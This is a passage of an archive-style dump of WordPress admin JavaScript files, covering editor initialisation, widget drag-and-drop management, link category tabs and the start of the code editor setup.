'body' ).trigger( 'afterPreWpautop', [ obj ] ); } return obj.data; } /** * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} text The content from the text editor. * @return {string} filtered content. */ function wpautop( text ) { var obj = { o: exports, data: text, unfiltered: text }; if ( $ ) { $( 'body' ).trigger( 'beforeWpautop', [ obj ] ); } obj.data = autop( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterWpautop', [ obj ] ); } return obj.data; } if ( $ ) { $( init ); } else if ( document.addEventListener ) { document.addEventListener( 'DOMContentLoaded', init, false ); window.addEventListener( 'load', init, false ); } else if ( window.attachEvent ) { window.attachEvent( 'onload', init ); document.attachEvent( 'onreadystatechange', function() { if ( 'complete' === document.readyState ) { init(); } } ); } wp.editor.autop = wpautop; wp.editor.removep = pre_wpautop; exports = { go: switchEditor, wpautop: wpautop, pre_wpautop: pre_wpautop, _wp_Autop: autop, _wp_Nop: removep }; return exports; } /** * Expose the switch editors to be used globally. * * @namespace switchEditors */ window.switchEditors = new SwitchEditors(); /** * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP). * * Intended for use with an existing textarea that will become the Code editor tab. * The editor width will be the width of the textarea container, height will be adjustable. * * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered" * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init. * * @since 4.8.0 * * @param {string} id The HTML id of the textarea that is used for the editor. * Has to be jQuery compliant. No brackets, special chars, etc. * @param {Object} settings Example: * settings = { * // See https://www.tinymce.com/docs/configure/integration-and-setup/. * // Alternatively set to `true` to use the defaults. * tinymce: { * setup: function( editor ) { * console.log( 'Editor initialized', editor ); * } * } * * // Alternatively set to `true` to use the defaults. * quicktags: { * buttons: 'strong,em,link' * } * } */ wp.editor.initialize = function( id, settings ) { var init; var defaults; if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) { return; } defaults = wp.editor.getDefaultSettings(); // Initialize TinyMCE by default. if ( ! settings ) { settings = { tinymce: true }; } // Add wrap and the Visual|Code tabs. if ( settings.tinymce && settings.quicktags ) { var $textarea = $( '#' + id ); var $wrap = $( '<div>' ).attr( { 'class': 'wp-core-ui wp-editor-wrap tmce-active', id: 'wp-' + id + '-wrap' } ); var $editorContainer = $( '<div class="wp-editor-container">' ); var $button = $( '<button>' ).attr( { type: 'button', 'data-wp-editor-id': id } ); var $editorTools = $( '<div class="wp-editor-tools">' ); if ( settings.mediaButtons ) { var buttonText = 'Add Media'; if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) { buttonText = window._wpMediaViewsL10n.addMedia; } var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' ); $addMediaButton.append( '<span class="wp-media-buttons-icon" aria-hidden="true"></span>' ); $addMediaButton.append( document.createTextNode( ' ' + buttonText ) ); $addMediaButton.data( 'editor', id ); $editorTools.append( $( '<div class="wp-media-buttons">' ) .append( $addMediaButton ) ); } $wrap.append( $editorTools .append( $( '<div class="wp-editor-tabs">' ) .append( $button.clone().attr({ id: id + '-tmce', 'class': 'wp-switch-editor switch-tmce' }).text( window.tinymce.translate( 'Visual' ) ) ) .append( $button.attr({ id: id + '-html', 'class': 'wp-switch-editor switch-html' }).text( window.tinymce.translate( 'Code|tab' ) ) ) ).append( $editorContainer ) ); $textarea.after( $wrap ); $editorContainer.append( $textarea ); } if ( window.tinymce && settings.tinymce ) { if ( typeof settings.tinymce !== 'object' ) { settings.tinymce = {}; } init = $.extend( {}, defaults.tinymce, settings.tinymce ); init.selector = '#' + id; $( document ).trigger( 'wp-before-tinymce-init', init ); window.tinymce.init( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = id; } } if ( window.quicktags && settings.quicktags ) { if ( typeof settings.quicktags !== 'object' ) { settings.quicktags = {}; } init = $.extend( {}, defaults.quicktags, settings.quicktags ); init.id = id; $( document ).trigger( 'wp-before-quicktags-init', init ); window.quicktags( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = init.id; } } }; /** * Remove one editor instance. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. */ wp.editor.remove = function( id ) { var mceInstance, qtInstance, $wrap = $( '#wp-' + id + '-wrap' ); if ( window.tinymce ) { mceInstance = window.tinymce.get( id ); if ( mceInstance ) { if ( ! mceInstance.isHidden() ) { mceInstance.save(); } mceInstance.remove(); } } if ( window.quicktags ) { qtInstance = window.QTags.getInstance( id ); if ( qtInstance ) { qtInstance.remove(); } } if ( $wrap.length ) { $wrap.after( $( '#' + id ) ); $wrap.remove(); } }; /** * Get the editor content. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. * @return The editor content. */ wp.editor.getContent = function( id ) { var editor; if ( ! $ || ! id ) { return; } if ( window.tinymce ) { editor = window.tinymce.get( id ); if ( editor && ! editor.isHidden() ) { editor.save(); } } return $( '#' + id ).val(); }; }( window.jQuery, window.wp )); widgets.js 0000644 00000055072 15222552267 0006571 0 ustar 00 /** * @output wp-admin/js/widgets.js */ /* global ajaxurl, isRtl, wpWidgets */ (function($) { var $document = $( document ); window.wpWidgets = { /** * A closed Sidebar that gets a Widget dragged over it. * * @var {element|null} */ hoveredSidebar: null, /** * Lookup of which widgets have had change events triggered. * * @var {object} */ dirtyWidgets: {}, init : function() { var rem, the_id, self = this, chooser = $('.widgets-chooser'), selectSidebar = chooser.find('.widgets-chooser-sidebars'), sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' !== typeof isRtl && isRtl ); // Handle the widgets containers in the right column. $( '#widgets-right .sidebar-name' ) /* * Toggle the widgets containers when clicked and update the toggle * button `aria-expanded` attribute value. */ .on( 'click', function() { var $this = $( this ), $wrap = $this.closest( '.widgets-holder-wrap '), $toggle = $this.find( '.handlediv' ); if ( $wrap.hasClass( 'closed' ) ) { $wrap.removeClass( 'closed' ); $toggle.attr( 'aria-expanded', 'true' ); // Refresh the jQuery UI sortable items. $this.parent().sortable( 'refresh' ); } else { $wrap.addClass( 'closed' ); $toggle.attr( 'aria-expanded', 'false' ); } // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }) /* * Set the initial `aria-expanded` attribute value on the widgets * containers toggle button. The first one is expanded by default. */ .find( '.handlediv' ).each( function( index ) { if ( 0 === index ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( this ).attr( 'aria-expanded', 'false' ); }); // Show AYS dialog when there are unsaved widget changes. $( window ).on( 'beforeunload.widgets', function( event ) { var dirtyWidgetIds = [], unsavedWidgetsElements; $.each( self.dirtyWidgets, function( widgetId, dirty ) { if ( dirty ) { dirtyWidgetIds.push( widgetId ); } }); if ( 0 !== dirtyWidgetIds.length ) { unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() { return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) ); }); unsavedWidgetsElements.each( function() { if ( ! $( this ).hasClass( 'open' ) ) { $( this ).find( '.widget-title-action:first' ).trigger( 'click' ); } }); // Bring the first unsaved widget into view and focus on the first tabbable field. unsavedWidgetsElements.first().each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView(); } $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' ); } ); event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); return event.returnValue; } }); // Handle the widgets containers in the left column. $( '#widgets-left .sidebar-name' ).on( 'click', function() { var $wrap = $( this ).closest( '.widgets-holder-wrap' ); $wrap .toggleClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) ); // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }); $(document.body).on('click.widgets-toggle', function(e) { var target = $(e.target), css = {}, widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId, toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' ); if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) { widget = target.closest('div.widget'); inside = widget.children('.widget-inside'); targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ); widgetWidth = widget.parent().width(); widgetId = inside.find( '.widget-id' ).val(); // Save button is initially disabled, but is enabled when a field is changed. if ( ! widget.data( 'dirty-state-initialized' ) ) { saveButton = inside.find( '.widget-control-save' ); saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); inside.on( 'input change', function() { self.dirtyWidgets[ widgetId ] = true; widget.addClass( 'widget-dirty' ); saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) ); }); widget.data( 'dirty-state-initialized', true ); } if ( inside.is(':hidden') ) { if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) { if ( widget.closest('div.widget-liquid-right').length ) { margin = isRTL ? 'margin-right' : 'margin-left'; } else { margin = isRTL ? 'margin-left' : 'margin-right'; } css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px'; widget.css( css ); } /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'true' ); inside.slideDown( 'fast', function() { widget.addClass( 'open' ); }); } else { /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'false' ); inside.slideUp( 'fast', function() { widget.attr( 'style', '' ); widget.removeClass( 'open' ); }); } } else if ( target.hasClass('widget-control-save') ) { wpWidgets.save( target.closest('div.widget'), 0, 1, 0 ); e.preventDefault(); } else if ( target.hasClass('widget-control-remove') ) { wpWidgets.save( target.closest('div.widget'), 1, 1, 0 ); } else if ( target.hasClass('widget-control-close') ) { widget = target.closest('div.widget'); widget.removeClass( 'open' ); toggleBtn.attr( 'aria-expanded', 'false' ); wpWidgets.close( widget ); } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) { wpWidgets.removeInactiveWidgets(); e.preventDefault(); } }); sidebars.children('.widget').each( function() { var $this = $(this); wpWidgets.appendTitle( this ); if ( $this.find( 'p.widget-error' ).length ) { $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' ); } }); $('#widget-list').children('.widget').draggable({ connectToSortable: 'div.widgets-sortables', handle: '> .widget-top > .widget-title', distance: 2, helper: 'clone', zIndex: 101, containment: '#wpwrap', refreshPositions: true, start: function( event, ui ) { var chooser = $(this).find('.widgets-chooser'); ui.helper.find('div.widget-description').hide(); the_id = this.id; if ( chooser.length ) { // Hide the chooser and move it out of the widget. $( '#wpbody-content' ).append( chooser.hide() ); // Delete the cloned chooser from the drag helper. ui.helper.find('.widgets-chooser').remove(); self.clearWidgetSelection(); } }, stop: function() { if ( rem ) { $(rem).hide(); } rem = ''; } }); /** * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them. */ sidebars.droppable( { tolerance: 'intersect', /** * Open Sidebar when a Widget gets dragged over it. * * @ignore * * @param {Object} event jQuery event object. */ over: function( event ) { var $wrap = $( event.target ).parent(); if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) { // Close the previous Sidebar as the Widget has been dragged onto another Sidebar. wpWidgets.closeSidebar( event ); } if ( $wrap.hasClass( 'closed' ) ) { wpWidgets.hoveredSidebar = $wrap; $wrap .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); } $( this ).sortable( 'refresh' ); }, /** * Close Sidebar when the Widget gets dragged out of it. * * @ignore * * @param {Object} event jQuery event object. */ out: function( event ) { if ( wpWidgets.hoveredSidebar ) { wpWidgets.closeSidebar( event ); } } } ); sidebars.sortable({ placeholder: 'widget-placeholder', items: '> .widget', handle: '> .widget-top > .widget-title', cursor: 'move', distance: 2, containment: '#wpwrap', tolerance: 'pointer', refreshPositions: true, start: function( event, ui ) { var height, $this = $(this), $wrap = $this.parent(), inside = ui.item.children('.widget-inside'); if ( inside.css('display') === 'block' ) { ui.item.removeClass('open'); ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' ); inside.hide(); $(this).sortable('refreshPositions'); } if ( ! $wrap.hasClass('closed') ) { // Lock all open sidebars min-height when starting to drag. // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below. height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height(); $this.css( 'min-height', height + 'px' ); } }, stop: function( event, ui ) { var addNew, widgetNumber, $sidebar, $children, child, item, $widget = ui.item, id = the_id; // Reset the var to hold a previously closed sidebar. wpWidgets.hoveredSidebar = null; if ( $widget.hasClass('deleting') ) { wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget. $widget.remove(); return; } addNew = $widget.find('input.add_new').val(); widgetNumber = $widget.find('input.multi_number').val(); $widget.attr( 'style', '' ).removeClass('ui-draggable'); the_id = ''; if ( addNew ) { if ( 'multi' === addNew ) { $widget.html( $widget.html().replace( /<[^<>]+>/g, function( tag ) { return tag.replace( /__i__|%i%/g, widgetNumber ); }) ); $widget.attr( 'id', id.replace( '__i__', widgetNumber ) ); widgetNumber++; $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber ); } else if ( 'single' === addNew ) { $widget.attr( 'id', 'new-' + id ); rem = 'div#' + id; } wpWidgets.save( $widget, 0, 0, 1 ); $widget.find('input.add_new').val(''); $document.trigger( 'widget-added', [ $widget ] ); } $sidebar = $widget.parent(); if ( $sidebar.parent().hasClass('closed') ) { $sidebar.parent() .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); $children = $sidebar.children('.widget'); // Make sure the dropped widget is at the top. if ( $children.length > 1 ) { child = $children.get(0); item = $widget.get(0); if ( child.id && item.id && child.id !== item.id ) { $( child ).before( $widget ); } } } if ( addNew ) { $widget.find( '.widget-action' ).trigger( 'click' ); } else { wpWidgets.saveOrder( $sidebar.attr('id') ); } }, activate: function() { $(this).parent().addClass( 'widget-hover' ); }, deactivate: function() { // Remove all min-height added on "start". $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' ); }, receive: function( event, ui ) { var $sender = $( ui.sender ); // Don't add more widgets to orphaned sidebars. if ( this.id.indexOf('orphaned_widgets') > -1 ) { $sender.sortable('cancel'); return; } // If the last widget was moved out of an orphaned sidebar, close and remove it. if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) { $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } ); } } }).sortable( 'option', 'connectWith', 'div.widgets-sortables' ); $('#available-widgets').droppable({ tolerance: 'pointer', accept: function(o){ return $(o).parent().attr('id') !== 'widget-list'; }, drop: function(e,ui) { ui.draggable.addClass('deleting'); $('#removing-widget').hide().children('span').empty(); }, over: function(e,ui) { ui.draggable.addClass('deleting'); $('div.widget-placeholder').hide(); if ( ui.draggable.hasClass('ui-sortable-helper') ) { $('#removing-widget').show().children('span') .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() ); } }, out: function(e,ui) { ui.draggable.removeClass('deleting'); $('div.widget-placeholder').show(); $('#removing-widget').hide().children('span').empty(); } }); // Area Chooser. $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) { var $element = $( element ), name = $element.find( '.sidebar-name h2' ).text() || '', ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ), id = $element.find( '.widgets-sortables' ).attr( 'id' ), li = $( '<li>' ), button = $( '<button>', { type: 'button', 'aria-pressed': 'false', 'class': 'widgets-chooser-button', 'aria-label': ariaLabel } ).text( name.toString().trim() ); li.append( button ); if ( index === 0 ) { li.addClass( 'widgets-chooser-selected' ); button.attr( 'aria-pressed', 'true' ); } selectSidebar.append( li ); li.data( 'sidebarId', id ); }); $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() { var $widget = $( this ).closest( '.widget' ), toggleButton = $( this ).find( '.widget-action' ), chooserButtons = selectSidebar.find( '.widgets-chooser-button' ); if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) { toggleButton.attr( 'aria-expanded', 'false' ); self.closeChooser(); } else { // Open the chooser. self.clearWidgetSelection(); $( '#widgets-left' ).addClass( 'chooser' ); // Add CSS class and insert the chooser after the widget description. $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser ); // Open the chooser with a slide down animation. chooser.slideDown( 300, function() { // Update the toggle button aria-expanded attribute after previous DOM manipulations. toggleButton.attr( 'aria-expanded', 'true' ); }); chooserButtons.on( 'click.widgets-chooser', function() { selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' ); chooserButtons.attr( 'aria-pressed', 'false' ); $( this ) .attr( 'aria-pressed', 'true' ) .closest( 'li' ).addClass( 'widgets-chooser-selected' ); } ); } }); // Add event handlers. chooser.on( 'click.widgets-chooser', function( event ) { var $target = $( event.target ); if ( $target.hasClass('button-primary') ) { self.addWidget( chooser ); self.closeChooser(); } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) { self.closeChooser(); } }).on( 'keyup.widgets-chooser', function( event ) { if ( event.which === $.ui.keyCode.ESCAPE ) { self.closeChooser(); } }); }, saveOrder : function( sidebarId ) { var data = { action: 'widgets-order', savewidgets: $('#_wpnonce_widgets').val(), sidebars: [] }; if ( sidebarId ) { $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' ); } $('div.widgets-sortables').each( function() { if ( $(this).sortable ) { data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); } }); $.post( ajaxurl, data, function() { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); $( '.spinner' ).removeClass( 'is-active' ); }); }, save : function( widget, del, animate, order ) { var self = this, data, a, sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ), form = widget.find( 'form' ), isAdd = widget.find( 'input.add_new' ).val(); if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) { return; } data = form.serialize(); widget = $(widget); $( '.spinner', widget ).addClass( 'is-active' ); a = { action: 'save-widget', savewidgets: $('#_wpnonce_widgets').val(), sidebar: sidebarId }; if ( del ) { a.delete_widget = 1; } data += '&' + $.param(a); $.post( ajaxurl, data, function(r) { var id = $('input.widget-id', widget).val(); if ( del ) { if ( ! $('input.widget_number', widget).val() ) { $('#available-widgets').find('input.widget-id').each(function(){ if ( $(this).val() === id ) { $(this).closest('div.widget').show(); } }); } if ( animate ) { order = 0; widget.slideUp( 'fast', function() { $( this ).remove(); wpWidgets.saveOrder(); delete self.dirtyWidgets[ id ]; }); } else { widget.remove(); delete self.dirtyWidgets[ id ]; if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } else { $( '.spinner' ).removeClass( 'is-active' ); if ( r && r.length > 2 ) { $( 'div.widget-content', widget ).html( r ); wpWidgets.appendTitle( widget ); // Re-disable the save button. widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); widget.removeClass( 'widget-dirty' ); // Clear the dirty flag from the widget. delete self.dirtyWidgets[ id ]; $document.trigger( 'widget-updated', [ widget ] ); if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } if ( order ) { wpWidgets.saveOrder(); } }); }, removeInactiveWidgets : function() { var $element = $( '.remove-inactive-widgets' ), self = this, a, data; $( '.spinner', $element ).addClass( 'is-active' ); a = { action : 'delete-inactive-widgets', removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val() }; data = $.param( a ); $.post( ajaxurl, data, function() { $( '#wp_inactive_widgets .widget' ).each(function() { var $widget = $( this ); delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ]; $widget.remove(); }); $( '#inactive-widgets-control-remove' ).prop( 'disabled', true ); $( '.spinner', $element ).removeClass( 'is-active' ); } ); }, appendTitle : function(widget) { var title = $('input[id*="-title"]', widget).val() || ''; if ( title ) { title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>'); } $(widget).children('.widget-top').children('.widget-title').children() .children('.in-widget-title').html(title); }, close : function(widget) { widget.children('.widget-inside').slideUp('fast', function() { widget.attr( 'style', '' ) .find( '.widget-top button.widget-action' ) .attr( 'aria-expanded', 'false' ) .focus(); }); }, addWidget: function( chooser ) { var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds, sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'), sidebar = $( '#' + sidebarId ); widget = $('#available-widgets').find('.widget-in-question').clone(); widgetId = widget.attr('id'); add = widget.find( 'input.add_new' ).val(); n = widget.find( 'input.multi_number' ).val(); // Remove the cloned chooser from the widget. widget.find('.widgets-chooser').remove(); if ( 'multi' === add ) { widget.html( widget.html().replace( /<[^<>]+>/g, function(m) { return m.replace( /__i__|%i%/g, n ); }) ); widget.attr( 'id', widgetId.replace( '__i__', n ) ); n++; $( '#' + widgetId ).find('input.multi_number').val(n); } else if ( 'single' === add ) { widget.attr( 'id', 'new-' + widgetId ); $( '#' + widgetId ).hide(); } // Open the widgets container. sidebar.closest( '.widgets-holder-wrap' ) .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); sidebar.append( widget ); sidebar.sortable('refresh'); wpWidgets.save( widget, 0, 0, 1 ); // No longer "new" widget. widget.find( 'input.add_new' ).val(''); $document.trigger( 'widget-added', [ widget ] ); /* * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll. * Otherwise, scroll up to so the sidebar is in view. * * We do this by comparing the top and bottom, of the sidebar so see if they are within * the bounds of the viewport. */ viewportTop = $(window).scrollTop(); viewportBottom = viewportTop + $(window).height(); sidebarBounds = sidebar.offset(); sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight(); if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) { $( 'html, body' ).animate({ scrollTop: sidebarBounds.top - 130 }, 200 ); } window.setTimeout( function() { // Cannot use a callback in the animation above as it fires twice, // have to queue this "by hand". widget.find( '.widget-title' ).trigger('click'); // At the end of the animation, announce the widget has been added. window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' ); }, 250 ); }, closeChooser: function() { var self = this, widgetInQuestion = $( '#available-widgets .widget-in-question' ); $( '.widgets-chooser' ).slideUp( 200, function() { $( '#wpbody-content' ).append( this ); self.clearWidgetSelection(); // Move focus back to the toggle button. widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus(); }); }, clearWidgetSelection: function() { $( '#widgets-left' ).removeClass( 'chooser' ); $( '.widget-in-question' ).removeClass( 'widget-in-question' ); }, /** * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it. * * Used when a Widget gets dragged in/out of the Sidebar and never dropped. * * @param {Object} event jQuery event object. */ closeSidebar: function( event ) { this.hoveredSidebar .addClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'false' ); $( event.target ).css( 'min-height', '' ); this.hoveredSidebar = null; } }; $( function(){ wpWidgets.init(); } ); })(jQuery); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wpWidgets.l10n = wpWidgets.l10n || { save: '', saved: '', saveAlert: '', widgetAdded: '' }; wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' ); link.min.js 0000644 00000004417 15222552267 0006637 0 ustar 00 /*! This file is auto-generated */ jQuery(function(i){var e,r,t,a=!1;i("#link_name").trigger("focus"),postboxes.add_postbox_toggles("link"),i("#category-tabs a").on("click keyup keydown",function(e){var t=i(this).attr("href");if("keydown"===e.type&&" "===e.key&&e.preventDefault(),"keyup"===e.type&&" "===e.key||"keydown"===e.type&&"Enter"===e.key||"click"===e.type)return e.preventDefault(),i("#category-tabs a").removeAttr("aria-selected").attr("tabindex","-1"),i(this).attr("aria-selected","true").removeAttr("tabindex"),i(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),i(".tabs-panel").hide(),i(t).show(),"#categories-all"==t?deleteUserSetting("cats"):setUserSetting("cats","pop"),!1;"keyup"!==e.type||"ArrowRight"!==e.key&&"ArrowLeft"!==e.key||(i(this).attr("tabindex","-1"),t=i(this).parent("li").next(),e=i(this).parent("li").prev(),(0<t.length?(t.find("a").removeAttr("tabindex"),t):(e.find("a").removeAttr("tabindex"),e)).find("a").trigger("focus"))}),getUserSetting("cats")&&i('#category-tabs a[href="#categories-pop"]').trigger("click"),e=i("#newcat").one("focus",function(){i(this).val("").removeClass("form-input-tip")}),i("#link-category-add-submit").on("click",function(){e.focus()}),r=function(){var e,t;a||(a=!0,e=(t=i(this)).is(":checked"),t=t.val().toString(),i("#in-link-category-"+t+", #in-popular-link_category-"+t).prop("checked",e),a=!1)},t=function(e,t){i(t.what+" response_data",e).each(function(){i(i(this).text()).find("label").each(function(){var e=i(this),t=e.find("input").val(),a=e.find("input")[0].id,e=e.text().trim();i("#"+a).on("change",r),i('<option value="'+parseInt(t,10)+'"></option>').text(e)})})},i("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:t}),i('a[href="#categories-all"]').on("click",function(){deleteUserSetting("cats")}),i('a[href="#categories-pop"]').on("click",function(){setUserSetting("cats","pop")}),"pop"==getUserSetting("cats")&&i('a[href="#categories-pop"]').trigger("click"),i("#category-add-toggle").on("click",function(){return i(this).parents("div:first").toggleClass("wp-hidden-children"),i('#category-tabs a[href="#categories-all"]').trigger("click"),i("#newcategory").trigger("focus"),!1}),i(".categorychecklist :checkbox").on("change",r).filter(":checked").trigger("change")}); code-editor.min.js 0000644 00000006727 15222552267 0010106 0 ustar 00 /*! This file is auto-generated */ void 0===window.wp&&(window.wp={}),void 0===window.wp.codeEditor&&(window.wp.codeEditor={}),function(u,c){"use strict";function d(r){let s=[],a=[];function c(t){r.onUpdateErrorNotice&&!_.isEqual(s,a)&&(r.onUpdateErrorNotice(s,t),a=s)}function d(){let t=r.codemirror?.lint??!1;if(!t)return!1;!0===t?t={}:_.isObject(t)&&(t=u.extend({},t));var i,e=t;return"javascript"===r.codemirror?.mode&&r.jshint&&u.extend(e,r.jshint),"css"===r.codemirror?.mode&&r.csslint&&u.extend(e,r.csslint),"htmlmixed"===r.codemirror?.mode&&r.htmlhint&&(e.rules=u.extend({},r.htmlhint),r.jshint&&e.rules&&(e.rules.jshint=r.jshint),r.csslint)&&e.rules&&(e.rules.csslint=r.csslint),e.onUpdateLinting=(i=e.onUpdateLinting,function(t,e,n){var o=t.filter(function(t){return"error"===t.severity});i&&i(t,e,n),!_.isEqual(o,s)&&(s=o,r.onChangeLintingErrors&&r.onChangeLintingErrors(o,t,e,n),!n.state.focused||0===s.length||0<a.length)&&c(n)}),e}return{getLintOptions:d,init:function(i){i.on("optionChange",function(t,e){var n,o="CodeMirror-lint-markers";"lint"===e&&(e=i.getOption("gutters")||[],!0===(n=i.getOption("lint"))?(_.contains(e,o)||i.setOption("gutters",[o].concat(e)),i.setOption("lint",d())):n||i.setOption("gutters",_.without(e,o)),i.getOption("lint")&&i.performLint?i.performLint():(s=[],c(i)))}),i.on("blur",c),i.on("startCompletion",function(){i.off("blur",c)}),i.on("endCompletion",function(){i.on("blur",c),_.delay(function(){i.state.focused||c(i)},500)}),u(document.body).on("mousedown",function(t){!i.state.focused||i.getWrapperElement().contains(t.target)||t.target.classList.contains("CodeMirror-hint")||c(i)})},updateErrorNotice:c}}c.codeEditor.defaultSettings={codemirror:{},csslint:{},htmlhint:{},jshint:{},onTabNext:function(){},onTabPrevious:function(){},onChangeLintingErrors:function(){},onUpdateErrorNotice:function(){}},c.codeEditor.initialize=function(t,e){"loading"===document.readyState&&console.warn("wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.");let n;n=u("string"==typeof t?"#"+t:t);t=u.extend(!0,{},c.codeEditor.defaultSettings,e);const o=d(t),s=(t.codemirror&&(t.codemirror.lint=o.getLintOptions()),c.CodeMirror.fromTextArea(n[0],t.codemirror));o.init(s);e={settings:t,codemirror:s,updateErrorNotice:function(){o.updateErrorNotice(s)}};s.showHint&&s.on("inputRead",function(t,e){if(e.origin&&("+input"===e.origin||e.origin.startsWith("*compose"))&&1===e.text.length&&1===e.text[0].length){var e=e.text[0],n=/^[a-zA-Z]$/.test(e);if(!s.state.completionActive||!n){var o=s.getTokenAt(s.getCursor());if("string"!==o.type&&"comment"!==o.type){var i=c.CodeMirror.innerMode(s.getMode(),o.state).mode.name,r=s.getDoc(),r=r.getLine(r.getCursor().line).slice(0,r.getCursor().ch);let t=!1;"html"===i||"xml"===i?t="<"===e||"/"===e&&"tag"===o.type||n&&"tag"===o.type||n&&"attribute"===o.type||"="===e&&!(!o.state.htmlState?.tagName&&!o.state.curState?.htmlState?.tagName):"css"===i?t=n||":"===e||" "===e&&/:\s+$/.test(r):"javascript"===i?t=n||"."===e:"clike"===i&&"php"===s.options.mode&&(t=n&&("keyword"===o.type||"variable"===o.type)),t&&s.showHint({completeSingle:!1})}}}});{var i=s,r=t;const 